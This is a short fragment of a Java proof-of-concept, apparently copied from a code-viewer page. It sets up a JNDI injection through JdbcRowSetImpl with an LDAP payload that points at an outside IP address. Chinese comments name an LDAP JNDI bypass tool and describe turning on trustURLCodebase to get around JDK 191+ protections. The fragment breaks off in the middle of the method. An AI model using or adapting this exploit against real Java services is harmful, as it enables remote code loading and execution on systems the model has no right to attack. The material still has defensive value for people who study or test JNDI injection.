(String[] args)
| 4 | |
| 5 | public class test { |
| 6 | public static void main(String[] args) { |
| 7 | String payload = "ldap://1.116.136.120:8888/test";//可使用LdapBypassJndi工具 |
| 8 | // String payload = "ldap://127.0.0.1:1399/test"; |
| 9 | try { |
| 10 | Jndieval(payload); |
| 11 | } catch (Exception e) { |
| 12 | e.printStackTrace(); |
| 13 | } |
| 14 | } |
| 15 | public static void Jndieval(String payload) throws Exception{ |
| 16 | // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");//绕过jdk191+ |
| 17 | JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); |